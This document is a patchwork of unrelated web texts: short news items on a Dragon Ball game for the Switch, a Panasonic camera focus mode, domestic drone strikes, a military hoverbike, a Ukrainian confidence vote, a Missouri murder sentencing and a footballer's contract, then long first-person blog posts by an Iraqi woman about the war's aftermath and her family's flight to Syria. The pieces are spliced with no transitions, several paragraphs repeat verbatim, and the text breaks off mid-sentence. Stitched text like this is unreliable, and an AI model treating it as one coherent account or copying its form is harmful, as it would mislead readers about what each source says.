Recently Bandai Namco announced that 'Dragon Ball Xenoverse 2' will see its much-awaited release on the Nintendo Switch this fall. The news came after much speculation about the company's plans for the new game. Unlike most Dragon Ball releases, 'Dragon Ball Xenoverse 2' will see a release in the east and the west at the same time i.e.: this fall.
While Dragon Ball Xenoverse 2 has already released for the XBOX one, PS4 and the PC, it is yet to come out for Nintendo's latest flagship console, the Switch. 'Dragon Ball Xenoverse 2' is expected to have exclusive bonus content for Nintendo Switch players making it one of the reasons as to wait eagerly for its release this fall.
Features include interesting motion control options using the Nintendo Switch's joy cons which are expected to give more control options over the game's characters. The biggest advantage being the Switch's ability to play local player which is expected to be there in 'Dragon Ball Xenoverse 2' providing you with the ability to battle your friends and acquaintances locally.
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According to reports, players will be able to play two players versus matches or even six player co-operative battles via Ad-Hoc wireless support. This wireless support will allow you to connect different consoles to the same network, allowing for a 6 player multi gameplay in the Dragon Ball universe.
Wireless Multiplayer gameplay was one of the biggest advantages of the Nintendo Switch and many fans are ecstatic that 'Dragon Ball Xenoverse 2' has decided to utilize this prominent aspect of the console. The game is set for a release this fall and will release worldwide at the same time, unlike its predecessors.
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According to Panasonic, Post Focus mode can capture up to 49 points of focus in a single burst, and the mode works with any lens that offers autofocus capabilities. In Post Focus mode, the camera actually records 4K video, racking focus from frame to frame. After that sequence of differently focused images is captured, the shooter can then review the sequence in camera and pick the one(s) they want to use.
For the photographer, the process of choosing the focus point is similar to Lytro's "living pictures" player. By tapping and swiping each camera's touchscreen, they can toggle through different focus points in a sequence and even employ assist modes like focus-peaking overlays.
While each of the Lumix cameras compatible with the mode has a higher megapixel count, Post Focus is limited in terms of output resolution. Because each frame of a 4K video has a resolution of 8 megapixels, that’s the resolution of each frame-grab saved.
Although it's less automated, Post Focus also lets you create an picture that’s completely in focus via focus stacking, combining the light-gathering and fast-shutter benefits of a wide aperture with the deep depth of field of a narrow aperture. Panasonic touts the everything-in-focus option for macro photography, although that use-case requires some post-processing work; you’ll need to stack all the images in a sequence using third-party editing software.
It’s not the first Lytro-like feature of its kind in a full-fledged camera. Earlier this year, Olympus introduced a “Focus Stacking” mode in its flagship OM-D E-M1 mirrorless camera, as well as a “Focus Bracketing” mode in the OM-D E-M1 and its midrange OM-D EM-5. But according to Olympus technical product manager Matthew Kandel, his company's modes concentrate primarily on focus stacking rather than refocusing.
"Panasonic's Post Focus feature is actually significantly different than Olympus' Focus Stacking," Kandel explains. "The similarity is only at the beginning of the process, where the user takes one exposure that results in [several] images shot at different focus points throughout the range. After that, Focus Stacking and Post Focus yield two completely different results. Focus Stacking composites the eight images into one image that is sharp from front to back."
Panasonic's focus-after-the-fact feature is similar to Lytro’s big original pitch, before the company recently refocused to create an end-to-end VR platform. That said, there are big-time differences with this Post Focus mode. First and foremost, Panasonic’s sensors and image processors don’t capture data about the light field, as Lytro’s specialized low-resolution imagers do. And although the experience for the shooter is similar, Panasonic’s Post Focus mode doesn’t have the embeddable, interactive tools that Lytro has for viewers of their “living photos.”
Instead, this is a mode purely for photographers to retroactively pick their point of focus using the camera’s touchscreen. And one major advantage that it has over light-field technology is that a selective focus mode like this can be added to normal, more-versatile cameras with larger sensors and better overall image quality. After all, Lytro’s refocusing tricks may be more appealing as a mode within a dedicated camera rather than the main reason to buy a new piece of hardware altogether.
from the i-just-pooped-myself dept
The questions about drones keep coming. Much of the focus has been on the legality of their use overseas, or else the manner in which domestic law enforcement uses them here at home. Glyn Moody even recently wrote about how the World Wildlife Fund wants to use them to tackle those who would poach endangered species throughout the world. Some folks in government have a problem with all this, in particular the coupling of the President's power to kill Americans if the government deems them as terrorists with the use of flying metal death machines raining carnage from the sky.
Like Rand Paul, for instance, who recently sent a letter to John Brennan, nominated as director of the CIA, asking him to clarify how the administration would view their power to authorize lethal force. Eric Holder, Attorney General, took the time to respond to Paul, and included this gem.
Holder said it was possible, "I suppose," to imagine an "extraordinary circumstance in which it would be necessary and appropriate" under U.S. law for the president to authorize the military to "use lethal force" within the United States. However, Holder said the question was "entirely hypothetical" and "unlikely to occur."
The study by Stanford Law School and New York University's School of Law calls for a re-evaluation of the practice, saying the number of "high-level" targets killed as a percentage of total casualties is extremely low -- about 2%.
"The U.S. attorney general's refusal to rule out the possibility of drone strikes on American citizens and on American soil is more than frightening. It is an affront to the constitutional due process rights of all Americans," Paul said.
You know, I'm typically one of those people who hates placing issues into absolute stances. For any situation, there are almost always outliers that need to be considered, so using words like "never", "impossible", and so on are usually the wrong approach.... This is one of those easy situations where we need to be able to get together as Americans and say, no, we don't think it's a great idea for our own military drones to be used domestically. The potential for collateral damage has previously been documented and should make this question easy on its face.And that doesn't even begin to broach the subject of the constitutionality question. The rules for using lethal force in American domestic law enforcement are extremely specific and they're designed to protect LEOs and civilians in immediate harm that cannot otherwise be contained. To suggest that drones could strike domestically is to suggest that due process can be thrown completely out the window. As Senator Paul noted in his response to Holder:Brennan, for his part, managed to, himself, say that the administration has "no intention" of using drone strikes on Americans in the United States...when there's a full moon or on weekends or something. Okay, so I added that last part, but why are we qualifying this at all? While Brennan also said that the CIA wouldn't have the authority to use drones domestically, it's not like there aren't those clamoring for more and more use of drones by the domestic alphabet agencies. Are we really okay with this?
The US Department of Defense, Maryland-based Survice Engineering and British Malloy Aeronautics will be working together to make a new hoverbike class of “class of Tactical Reconnaissance Vehicle (TRV), according to Malloy.
Malloy has already developed a version of the hoverbikes — which looks a little two drones with a platform between them — selling them through Kickstarter. The company raised over £64,000 last summer from 451 backers.
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But the company will now work with the US to develop them for military use. Survice is a US engineering firm that focuses on research and development for military technologies and which will now work together with Malloy on the hoverbikes.
Ukrainian Prime Minister Arseniy Yatsenyuk survived a no-confidence vote shortly after Ukrainian MPs voiced their dissatisfaction over the Cabinet’s work. The vote came hours after Ukrainian President Petro Poroshenko asked Yatsenyuk to resign, saying that the public had lost trust in his ability to fight corruption.
“Is it not clear that successful reforms can only be conducted by a government that enjoys sufficiently high public support?” Poroshenko stated.
The Prime Minister arrived in the chambers of the Verkovna Rada shortly after the President’s statement was released, stating “we will accept any decision of this parliament… but regardless of what is decided, I ask parliament, the President, and the responsible political classes to move further along the path of reforms.
194 out of 339 MPs voted in favor of the no-confidence motion, short of the 226 needed for it to be passed.
Any Yatsenyuk resignation would still need to be approved by the Verkovna Rada, though given the dissatisfaction of Ukrainian lawmakers towards the current Cabinet, the approval would be likely.
Yatsenyuk came to power in 2014 following the Maidan movement that saw the removal of former pro-Russian President Viktor Yanukovych. His popularity has decreased significantly over the last few months due to the failure of the Cabinet to effectively combat corruption.
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SPRINGFIELD, Mo. – A southwest Missouri jury’s inability to decide whether a man should be put to death for kidnapping and killing a 10-year-old girl sets up a rare situation where a judge will make that decision.
Circuit Judge Thomas Mountjoy is scheduled to announce Jan. 11 whether Craig Wood will get the death penalty or life in prison. Wood was convicted of killing Hailey Owen in Springfield in February 2014 but the Greene County jury couldn’t reach a unanimous decision on his sentence.
The Springfield News-Leader reports Missouri and Indiana are the only states where a judge can impose a death sentence. But in 2016, the U.S. Supreme Court ruled that only a jury, not a judge, can make that decision.
Off contract at the end of April, Nakajima-Farran can see the writing on the wall and is bracing himself for a major disappointment next week when the Roar announce their preliminary Asian Football Confederation Champions League squad.
With a maximum of four visa players permitted in Champions League squads - provided one hails from an AFC nation - Nakajima-Farran is set to miss out to fellow foreign teammates Thomas Broich (Germany), Besart Berisha (Albania), Henrique (Brazil) and Mohamed Adnan (Bahrain).
It has also been bad news on the domestic front for Nakajima-Farran, who after making 18 successive appearances for Brisbane, could not even make the Roar's bench in the champions' shock 1-0 weekend home loss to Newcastle.
The 27-year-old winger, who has been capped 24 times for Canada, was shocked at his exclusion despite admitting to having continuing difficulties adapting to Brisbane's style of play under coach Ange Postecoglou.
"I never thought I'd be in this situation," Nakajima-Farran said.
"I thought it would really work for me here but it hasn't been the best for me.
"I'm on my last little bit of my contract, so there's other people that come before me.
"But the best thing I can do is be a man, keep to my word and keep to my commitment, which is being a professional footballer.
"I'll follow the orders of the coaches and keep the best attitude."
The club is yet to instigate talks with the former AC Horsens (Denmark) attacking weapon about a new deal and Nakajima-Farran is not holding his breath about being offered another contract.
However, he is confident an opportunity will arise elsewhere in the world.
"That's the beauty of this game. As much as it can be stressful and worrying to some people about contracts, it's also kind of exciting," he said.
"I've been a traveller my entire life, so I'm not really worried about tomorrow."
For now he is determined to get back into Postecoglou's plans for the rest of the A-League season.
... I'll meet you 'round the bend my friend, where hearts can heal and souls can mend...
Ten Years On...
In 2003, we were counting our lives in days and weeks. Would we make it to next month? Would we make it through the summer? Some of us did and many of us didn't.
Back in 2003, one year seemed like a lifetime ahead. The idiots said, “Things will improve immediately.” The optimists were giving our occupiers a year, or two… The realists said, “Things won’t improve for at least five years.” And the pessimists? The pessimists said, “It will take ten years. It will take a decade.”
Looking back at the last ten years, what have our occupiers and their Iraqi governments given us in ten years? What have our puppets achieved in this last decade? What have we learned?
We learned a lot. We learned a lot.
We learned that while life is not fair, death is even less fair- it takes the good people. Even in death you can be unlucky. Lucky ones die a ‘normal’ death… A familiar death of cancer, or a heart-attack, or stroke. Unlucky ones have to be collected in bits and pieces. Their families trying to bury what can be salvaged and scraped off of streets that have seen so much blood, it is a wonder they are not red. We learned that while life is not fair, death is even less fair- it takes the good people. Even in death you can be unlucky. Lucky ones die a ‘normal’ death… A familiar death of cancer, or a heart-attack, or stroke. Unlucky ones have to be collected in bits and pieces. Their families trying to bury what can be salvaged and scraped off of streets that have seen so much blood, it is a wonder they are not red.
We learned that you can be floating on a sea of oil, but your people can be destitute. Your city can be an open sewer; your women and children can be eating out of trash dumps and begging for money in foreign lands.
We learned that justice does not prevail in this day and age. Innocent people are persecuted and executed daily. Some of them in courts, some of them in streets, and some of them in the private torture chambers.
We are learning that corruption is the way to go. You want a passport issued? Pay someone. You want a document ratified? Pay someone. You want someone dead? Pay someone.
We learned that it’s not that difficult to make billions disappear.
We are learning that those amenities we took for granted before 2003, you know- the luxuries – electricity, clean water from faucets, walkable streets, safe schools – those are for deserving populations. Those are for people who don’t allow occupiers into their country.
We’re learning that the biggest fans of the occupation (you know who you are, you traitors) eventually leave abroad. And where do they go? The USA, most likely, with the UK a close second. If I were an American, I’d be outraged. After spending so much money and so many lives, I’d expect the minor Chalabis and Malikis and Hashimis of Iraq to, well, stay in Iraq. Invest in their country. I’d stand in passport control and ask them, “Weren’t you happy when we invaded your country? Weren’t you happy we liberated you? Go back. Go back to the country you’re so happy with because now, you’re free!”
We’re learning that militias aren’t particular about who they kill. The easiest thing in the world would be to say that Shia militias kill Sunnis and Sunni militias kill Shia, but that’s not the way it works. That’s too simple.
We’re learning that the leaders don’t make history. Populations don’t make history. Historians don’t write history. News networks do. The Foxes, and CNNs, and BBCs, and Jazeeras of the world make history. They twist and turn things to fit their own private agendas.
We’re learning that the masks are off. No one is ashamed of the hypocrisy anymore. You can be against one country (like Iran), but empowering them somewhere else (like in Iraq). You can claim to be against religious extremism (like in Afghanistan), but promoting religious extremism somewhere else (like in Iraq and Egypt and Syria).
Those who didn’t know it in 2003 are learning (much too late) that an occupation is not the portal to freedom and democracy. The occupiers do not have your best interests at heart.
We are learning that ignorance is the death of civilized societies and that everyone thinks their particular form of fanaticism is acceptable.
We are learning how easy it is to manipulate populations with their own prejudices and that politics and religion never mix, even if a super-power says they should mix.
But it wasn’t all a bad education…
We learned that you sometimes receive kindness when you least expect it. We learned that people often step outside of the stereotypes we build for them and surprise us. We learned and continue to learn that there is strength in numbers and that Iraqis are not easy to oppress. It is a matter of time…
And then there are things we'd like to learn...
Ahmed Chalabi, Iyad Allawi, Ibrahim Jaafari, Tarek Al Hashemi and the rest of the vultures, where are they now? Have they crawled back under their rocks in countries like the USA, the UK, etc.? Where will Maliki be in a year or two? Will he return to Iran or take the millions he made off of killing Iraqis and then seek asylum in some European country? Far away from the angry Iraqi masses…
What about George Bush, Condi, Wolfowitz, and Powell? Will they ever be held accountable for the devastation and the death they wrought in Iraq? Saddam was held accountable for 300,000 Iraqis... Surely someone should be held accountable for the million or so?
Finally, after all is said and done, we shouldn't forget what this was about - making America safer... And are you safer Americans? If you are, why is it that we hear more and more about attacks on your embassies and diplomats? Why is it that you are constantly warned to not go to this country or that one? Is it better now, ten years down the line? Do you feel safer, with hundreds of thousands of Iraqis out of the way (granted half of them were women and children, but children grow up, right?)?
Finally, after all is said and done, we shouldn't forget what this was about - making America safer... And are you safer Americans? If you are, why is it that we hear more and more about attacks on your embassies and diplomats? Why is it that you are constantly warned to not go to this country or that one? Is it better now, ten years down the line? Do you feel safer, with hundreds of thousands of Iraqis out of the way (granted half of them were women and children, but children grow up, right?)? And what happened to Riverbend and my family? I eventually moved from Syria. I moved before the heavy fighting, before it got ugly. That’s how fortunate I was. I moved to another country nearby, stayed almost a year, and then made another move to a third Arab country with the hope that, this time, it’ll stick until… Until when? Even the pessimists aren’t sure anymore. When will things improve? When will be able to live normally? How long will it take?
For those of you who are disappointed reality has reared its ugly head again, go to Fox News, I'm sure they have a reportage that will soothe your conscience.
For those of you who have been asking about me and wondering how I have been doing, I thank you. "Lo khuliyet, qulibet..." Which means "If the world were empty of good people, it would end." I only need to check my emails to know it won't be ending any time soon. April 9, 2013 marks ten years since the fall of Baghdad. Ten years since the invasion. Since the lives of millions of Iraqis changed forever. It’s difficult to believe. It feels like only yesterday I was sharing day to day activities with the world. I feel obliged today to put my thoughts down on the blog once again, probably for the last time.
Bloggers Without Borders...
Syria is a beautiful country- at least I think it is. I say “I think” because while I perceive it to be beautiful, I sometimes wonder if I mistake safety, security and normalcy for ‘beauty’. In so many ways, Damascus is like Baghdad before the war- bustling streets, occasional traffic jams, markets seemingly always full of shoppers… And in so many ways it’s different. The buildings are higher, the streets are generally narrower and there’s a mountain, Qasiyoun, that looms in the distance.
The mountain distracts me, as it does many Iraqis- especially those from Baghdad. Northern Iraq is full of mountains, but the rest of Iraq is quite flat. At night, Qasiyoun blends into the black sky and the only indication of its presence is a multitude of little, glimmering spots of light- houses and restaurants built right up there on the mountain. Every time I take a picture, I try to work Qasiyoun into it- I try to position the person so that Qasiyoun is in the background.
The first weeks here were something of a cultural shock. It has taken me these last three months to work away certain habits I’d acquired in Iraq after the war. It’s funny how you learn to act a certain way and don’t even know you’re doing strange things- like avoiding people’s eyes in the street or crazily murmuring prayers to yourself when stuck in traffic. It took me at least three weeks to teach myself to walk properly again- with head lifted, not constantly looking behind me.
It is estimated that there are at least 1.5 million Iraqis in Syria today. I believe it. Walking down the streets of Damascus, you can hear the Iraqi accent everywhere. There are areas like Geramana and Qudsiya that are packed full of Iraqi refugees. Syrians are few and far between in these areas. Even the public schools in the areas are full of Iraqi children. A cousin of mine is now attending a school in Qudsiya and his class is composed of 26 Iraqi children, and 5 Syrian children. It’s beyond belief sometimes. Most of the families have nothing to live on beyond their savings which are quickly being depleted with rent and the costs of living.
Within a month of our being here, we began hearing talk about Syria requiring visas from Iraqis, like most other countries. Apparently, our esteemed puppets in power met with Syrian and Jordanian authorities and decided they wanted to take away the last two safe havens remaining for Iraqis- Damascus and Amman. The talk began in late August and was only talk until recently- early October. Iraqis entering Syria now need a visa from the Syrian consulate or embassy in the country they are currently in. In the case of Iraqis still in Iraq, it is said that an approval from the Ministry of Interior is also required (which kind of makes it difficult for people running away from militias OF the Ministry of Interior…). Today, there’s talk of a possible fifty dollar visa at the border.
Iraqis who entered Syria before the visa was implemented were getting a one month visitation visa at the border. As soon as that month was over, you could take your passport and visit the local immigration bureau. If you were lucky, they would give you an additional month or two. When talk about visas from the Syrian embassy began, they stopped giving an extension on the initial border visa. We, as a family, had a brilliant idea. Before the commotion of visas began, and before we started needing a renewal, we decided to go to one of the border crossings, cross into Iraq, and come back into Syria- everyone was doing it. It would buy us some time- at least 2 months.
We chose a hot day in early September and drove the six hours to Kameshli, a border town in northern Syria. My aunt and her son came with us- they also needed an extension on their visa. There is a border crossing in Kameshli called Yaarubiya. It’s one of the simpler crossings because the Iraqi and Syrian borders are only a matter of several meters. You walk out of Syrian territory and then walk into Iraqi territory- simple and safe.
When we got to the Yaarubiya border patrol, it hit us that thousands of Iraqis had had our brilliant idea simultaneously- the lines to the border patrol office were endless. Hundreds of Iraqis stood in a long line waiting to have their passports stamped with an exit visa. We joined the line of people and waited. And waited. And waited…
It took four hours to leave the Syrian border after which came the lines of the Iraqi border post. Those were even longer. We joined one of the lines of weary, impatient Iraqis. “It’s looking like a gasoline line…” My younger cousin joked. That was the beginning of another four hours of waiting under the sun, taking baby steps, moving forward ever so slowly. The line kept getting longer. At one point, we could see neither the beginning of the line, where passports were being stamped to enter Iraq, nor the end. Running up and down the line were little boys selling glasses of water, chewing gum and cigarettes. My aunt caught one of them by the arm as he zipped past us, “How many people are in front of us?” He whistled and took a few steps back to assess the situation, “A hundred! A thousand!”. He was almost gleeful as he ran off to make business.
I had such mixed feelings standing in that line. I was caught between a feeling of yearning, a certain homesickness that sometimes catches me at the oddest moments, and a heavy feeling of dread. What if they didn’t agree to let us out again? It wasn’t really possible, but what if it happened? What if this was the last time I’d see the Iraqi border? What if we were no longer allowed to enter Iraq for some reason? What if we were never allowed to leave?
We spent the four hours standing, crouching, sitting and leaning in the line. The sun beat down on everyone equally- Sunnis, Shia and Kurds alike. E. tried to convince the aunt to faint so it would speed the process up for the family, but she just gave us a withering look and stood straighter. People just stood there, chatting, cursing or silent. It was yet another gathering of Iraqis – the perfect opportunity to swap sad stories and ask about distant relations or acquaintances.
We met two families we knew while waiting for our turn. We greeted each other like long lost friends and exchanged phone numbers and addresses in Damascus, promising to visit. I noticed the 23-year-old son, K., from one of the families was missing. I beat down my curiosity and refused to ask where he was. The mother was looking older than I remembered and the father looked constantly lost in thought, or maybe it was grief. I didn’t want to know if K. was dead or alive. I’d just have to believe he was alive and thriving somewhere, not worrying about borders or visas. Ignorance really is bliss sometimes...
Back at the Syrian border, we waited in a large group, tired and hungry, having handed over our passports for a stamp. The Syrian immigration man sifting through dozens of passports called out names and looked at faces as he handed over the passports patiently, “Stand back please- stand back”. There was a general cry towards the back of the crowded hall where we were standing as someone collapsed- as they lifted him I recognized an old man who was there with his family being chaperoned by his sons, leaning on a walking stick.
By the time we had reentered the Syrian border and were headed back to the cab ready to take us into Kameshli, I had resigned myself to the fact that we were refugees. I read about refugees on the Internet daily… in the newspapers… hear about them on TV. I hear about the estimated 1.5 million plus Iraqi refugees in Syria and shake my head, never really considering myself or my family as one of them. After all, refugees are people who sleep in tents and have no potable water or plumbing, right? Refugees carry their belongings in bags instead of suitcases and they don’t have cell phones or Internet access, right? Grasping my passport in my hand like my life depended on it, with two extra months in Syria stamped inside, it hit me how wrong I was. We were all refugees. I was suddenly a number. No matter how wealthy or educated or comfortable, a refugee is a refugee. A refugee is someone who isn’t really welcome in any country- including their own... especially their own.
We live in an apartment building where two other Iraqis are renting. The people in the floor above us are a Christian family from northern Iraq who got chased out of their village by Peshmerga and the family on our floor is a Kurdish family who lost their home in Baghdad to militias and were waiting for immigration to Sweden or Switzerland or some such European refugee haven.
The first evening we arrived, exhausted, dragging suitcases behind us, morale a little bit bruised, the Kurdish family sent over their representative – a 9 year old boy missing two front teeth, holding a lopsided cake, “We’re Abu Mohammed’s house- across from you- mama says if you need anything, just ask- this is our number. Abu Dalia’s family live upstairs, this is their number. We’re all Iraqi too... Welcome to the building.”
I cried that night because for the first time in a long time, so far away from home, I felt the unity that had been stolen from us in 2003.
Leaving Home...
Two months ago, the suitcases were packed. My lone, large suitcase sat in my bedroom for nearly six weeks, so full of clothes and personal items, that it took me, E. and our six year old neighbor to zip it closed.
Packing that suitcase was one of the more difficult things I’ve had to do. It was Mission Impossible: Your mission, R., should you choose to accept it is to go through the items you’ve accumulated over nearly three decades and decide which ones you cannot do without. The difficulty of your mission, R., is that you must contain these items in a space totaling 1 m by 0.7 m by 0.4 m. This, of course, includes the clothes you will be wearing for the next months, as well as any personal memorabilia- photos, diaries, stuffed animals, CDs and the like.
I packed and unpacked it four times. Each time I unpacked it, I swore I’d eliminate some of the items that were not absolutely necessary. Each time I packed it again, I would add more ‘stuff’ than the time before. E. finally came in a month and a half later and insisted we zip up the bag so I wouldn’t be tempted to update its contents constantly.
The decision that we would each take one suitcase was made by my father. He took one look at the box of assorted memories we were beginning to prepare and it was final: Four large identical suitcases were purchased- one for each member of the family and a fifth smaller one was dug out of a closet for the documentation we’d collectively need- graduation certificates, personal identification papers, etc.
We waited… and waited… and waited. It was decided we would leave mid to late June- examinations would be over and as we were planning to leave with my aunt and her two children- that was the time considered most convenient for all involved. The day we finally appointed as THE DAY, we woke up to an explosion not 2 km away and a curfew. The trip was postponed a week. The night before we were scheduled to travel, the driver who owned the GMC that would take us to the border excused himself from the trip- his brother had been killed in a shooting. Once again, it was postponed.
There was one point, during the final days of June, where I simply sat on my packed suitcase and cried. By early July, I was convinced we would never leave. I was sure the Iraqi border was as far away, for me, as the borders of Alaska. It had taken us well over two months to decide to leave by car instead of by plane. It had taken us yet another month to settle on Syria as opposed to Jordan. How long would it take us to reschedule leaving?
It happened almost overnight. My aunt called with the exciting news that one of her neighbors was going to leave for Syria in 48 hours because their son was being threatened and they wanted another family on the road with them in another car- like gazelles in the jungle, it’s safer to travel in groups. It was a flurry of activity for two days. We checked to make sure everything we could possibly need was prepared and packed. We arranged for a distant cousin of my moms who was to stay in our house with his family to come the night before we left (we can’t leave the house empty because someone might take it).
It was a tearful farewell as we left the house. One of my other aunts and an uncle came to say goodbye the morning of the trip. It was a solemn morning and I’d been preparing myself for the last two days not to cry. You won’t cry, I kept saying, because you’re coming back. You won’t cry because it’s just a little trip like the ones you used to take to Mosul or Basrah before the war. In spite of my assurances to myself of a safe and happy return, I spent several hours before leaving with a huge lump lodged firmly in my throat. My eyes burned and my nose ran in spite of me. I told myself it was an allergy.
We didn’t sleep the night before we had to leave because there seemed to be so many little things to do… It helped that there was no electricity at all- the area generator wasn’t working and ‘national electricity’ was hopeless. There just wasn’t time to sleep.
The last few hours in the house were a blur. It was time to go and I went from room to room saying goodbye to everything. I said goodbye to my desk- the one I’d used all through high school and college. I said goodbye to the curtains and the bed and the couch. I said goodbye to the armchair E. and I broke when we were younger. I said goodbye to the big table over which we’d gathered for meals and to do homework. I said goodbye to the ghosts of the framed pictures that once hung on the walls, because the pictures have long since been taken down and stored away- but I knew just what hung where. I said goodbye to the silly board games we inevitably fought over- the Arabic Monopoly with the missing cards and money that no one had the heart to throw away.
I knew then as I know now that these were all just items- people are so much more important. Still, a house is like a museum in that it tells a certain history. You look at a cup or stuffed toy and a chapter of memories opens up before your very eyes. It suddenly hit me that I wanted to leave so much less than I thought I did.
Six AM finally came. The GMC waited outside while we gathered the necessities- a thermos of hot tea, biscuits, juice, olives (olives?!) which my dad insisted we take with us in the car, etc. My aunt and uncle watched us sorrowfully. There’s no other word to describe it. It was the same look I got in my eyes when I watched other relatives and friends prepare to leave. It was a feeling of helplessness and hopelessness, tinged with anger. Why did the good people have to go?
I cried as we left- in spite of promises not to. The aunt cried… the uncle cried. My parents tried to be stoic but there were tears in their voices as they said their goodbyes. The worst part is saying goodbye and wondering if you’re ever going to see these people again. My uncle tightened the shawl I’d thrown over my hair and advised me firmly to ‘keep it on until you get to the border’. The aunt rushed out behind us as the car pulled out of the garage and dumped a bowl of water on the ground, which is a tradition- its to wish the travelers a safe return… eventually.
The trip was long and uneventful, other than two checkpoints being run by masked men. They asked to see identification, took a cursory glance at the passports and asked where we were going. The same was done for the car behind us. Those checkpoints are terrifying but I’ve learned that the best technique is to avoid eye-contact, answer questions politely and pray under your breath. My mother and I had been careful not to wear any apparent jewelry, just in case, and we were both in long skirts and head scarves.
The trip was long and uneventful, other than two checkpoints being run by masked men. They asked to see identification, took a cursory glance at the passports and asked where we were going. The same was done for the car behind us. Those checkpoints are terrifying but I’ve learned that the best technique is to avoid eye-contact, answer questions politely and pray under your breath. My mother and I had been careful not to wear any apparent jewelry, just in case, and we were both in long skirts and head scarves.
Syria is the only country, other than Jordan, that was allowing people in without a visa. The Jordanians are being horrible with refugees. Families risk being turned back at the Jordanian border, or denied entry at Amman Airport. It’s too high a risk for most families.
We waited for hours, in spite of the fact that the driver we were with had ‘connections’, which meant he’d been to Syria and back so many times, he knew all the right people to bribe for a safe passage through the borders. I sat nervously at the border. The tears had stopped about an hour after we’d left Baghdad. Just seeing the dirty streets, the ruins of buildings and houses, the smoke-filled horizon all helped me realize how fortunate I was to have a chance for something safer.
By the time we were out of Baghdad, my heart was no longer aching as it had been while we were still leaving it. The cars around us on the border were making me nervous. I hated being in the middle of so many possibly explosive vehicles. A part of me wanted to study the faces of the people around me, mostly families, and the other part of me, the one that’s been trained to stay out of trouble the last four years, told me to keep my eyes to myself- it was almost over.
It was finally our turn. I sat stiffly in the car and waited as money passed hands; our passports were looked over and finally stamped. We were ushered along and the driver smiled with satisfaction, “It’s been an easy trip, Alhamdulillah,” he said cheerfully.
As we crossed the border and saw the last of the Iraqi flags, the tears began again. The car was silent except for the prattling of the driver who was telling us stories of escapades he had while crossing the border. I sneaked a look at my mother sitting beside me and her tears were flowing as well. There was simply nothing to say as we left Iraq. I wanted to sob, but I didn’t want to seem like a baby. I didn’t want the driver to think I was ungrateful for the chance to leave what had become a hellish place over the last four and a half years.
The Syrian border was almost equally packed, but the environment was more relaxed. People were getting out of their cars and stretching. Some of them recognized each other and waved or shared woeful stories or comments through the windows of the cars. Most importantly, we were all equal. Sunnis and Shia, Arabs and Kurds… we were all equal in front of the Syrian border personnel.
We were all refugees- rich or poor. And refugees all look the same- there’s a unique expression you’ll find on their faces- relief, mixed with sorrow, tinged with apprehension. The faces almost all look the same.
The first minutes after passing the border were overwhelming. Overwhelming relief and overwhelming sadness… How is it that only a stretch of several kilometers and maybe twenty minutes, so firmly segregates life from death?
How is it that a border no one can see or touch stands between car bombs, militias, death squads and… peace, safety? It’s difficult to believe- even now. I sit here and write this and wonder why I can’t hear the explosions.
I wonder at how the windows don’t rattle as the planes pass overhead. I’m trying to rid myself of the expectation that armed people in black will break through the door and into our lives. I’m trying to let my eyes grow accustomed to streets free of road blocks, hummers and pictures of Muqtada and the rest…
How is it that all of this lies a short car ride away?
Two months ago, the suitcases were packed. My lone, large suitcase sat in my bedroom for nearly six weeks, so full of clothes and personal items, that it took me, E. and our six year old neighbor to zip it closed.Packing that suitcase was one of the more difficult things I’ve had to do. It was Mission Impossible: Your mission, R., should you choose to accept it is to go through the items you’ve accumulated over nearly three decades and decide which ones you cannot do without. The difficulty of your mission, R., is that you must contain these items in a space totaling 1 m by 0.7 m by 0.4 m. This, of course, includes the clothes you will be wearing for the next months, as well as any personal memorabilia- photos, diaries, stuffed animals, CDs and the like.I packed and unpacked it four times. Each time I unpacked it, I swore I’d eliminate some of the items that were not absolutely necessary. Each time I packed it again, I would add more ‘stuff’ than the time before. E. finally came in a month and a half later and insisted we zip up the bag so I wouldn’t be tempted to update its contents constantly.The decision that we would each take one suitcase was made by my father. He took one look at the box of assorted memories we were beginning to prepare and it was final: Four large identical suitcases were purchased- one for each member of the family and a fifth smaller one was dug out of a closet for the documentation we’d collectively need- graduation certificates, personal identification papers, etc.We waited… and waited… and waited. It was decided we would leave mid to late June- examinations would be over and as we were planning to leave with my aunt and her two children- that was the time considered most convenient for all involved. The day we finally appointed as THE DAY, we woke up to an explosion not 2 km away and a curfew. The trip was postponed a week. The night before we were scheduled to travel, the driver who owned the GMC that would take us to the border excused himself from the trip- his brother had been killed in a shooting. Once again, it was postponed.There was one point, during the final days of June, where I simply sat on my packed suitcase and cried. By early July, I was convinced we would never leave. I was sure the Iraqi border was as far away, for me, as the borders of Alaska. It had taken us well over two months to decide to leave by car instead of by plane. It had taken us yet another month to settle on Syria as opposed to Jordan. How long would it take us to reschedule leaving?It happened almost overnight. My aunt called with the exciting news that one of her neighbors was going to leave for Syria in 48 hours because their son was being threatened and they wanted another family on the road with them in another car- like gazelles in the jungle, it’s safer to travel in groups. It was a flurry of activity for two days. We checked to make sure everything we could possibly need was prepared and packed. We arranged for a distant cousin of my moms who was to stay in our house with his family to come the night before we left (we can’t leave the house empty because someone might take it).It was a tearful farewell as we left the house. One of my other aunts and an uncle came to say goodbye the morning of the trip. It was a solemn morning and I’d been preparing myself for the last two days not to cry. You won’t cry, I kept saying, because you’re coming back. You won’t cry because it’s just a little trip like the ones you used to take to Mosul or Basrah before the war. In spite of my assurances to myself of a safe and happy return, I spent several hours before leaving with a huge lump lodged firmly in my throat. My eyes burned and my nose ran in spite of me. I told myself it was an allergy.We didn’t sleep the night before we had to leave because there seemed to be so many little things to do… It helped that there was no electricity at all- the area generator wasn’t working and ‘national electricity’ was hopeless. There just wasn’t time to sleep.The last few hours in the house were a blur. It was time to go and I went from room to room saying goodbye to everything. I said goodbye to my desk- the one I’d used all through high school and college. I said goodbye to the curtains and the bed and the couch. I said goodbye to the armchair E. and I broke when we were younger. I said goodbye to the big table over which we’d gathered for meals and to do homework. I said goodbye to the ghosts of the framed pictures that once hung on the walls, because the pictures have long since been taken down and stored away- but I knew just what hung where. I said goodbye to the silly board games we inevitably fought over- the Arabic Monopoly with the missing cards and money that no one had the heart to throw away.I knew then as I know now that these were all just items- people are so much more important. Still, a house is like a museum in that it tells a certain history. You look at a cup or stuffed toy and a chapter of memories opens up before your very eyes. It suddenly hit me that I wanted to leave so much less than I thought I did.Six AM finally came. The GMC waited outside while we gathered the necessities- a thermos of hot tea, biscuits, juice, olives (olives?!) which my dad insisted we take with us in the car, etc. My aunt and uncle watched us sorrowfully. There’s no other word to describe it. It was the same look I got in my eyes when I watched other relatives and friends prepare to leave. It was a feeling of helplessness and hopelessness, tinged with anger. Why did the good people have to go?I cried as we left- in spite of promises not to. The aunt cried… the uncle cried. My parents tried to be stoic but there were tears in their voices as they said their goodbyes. The worst part is 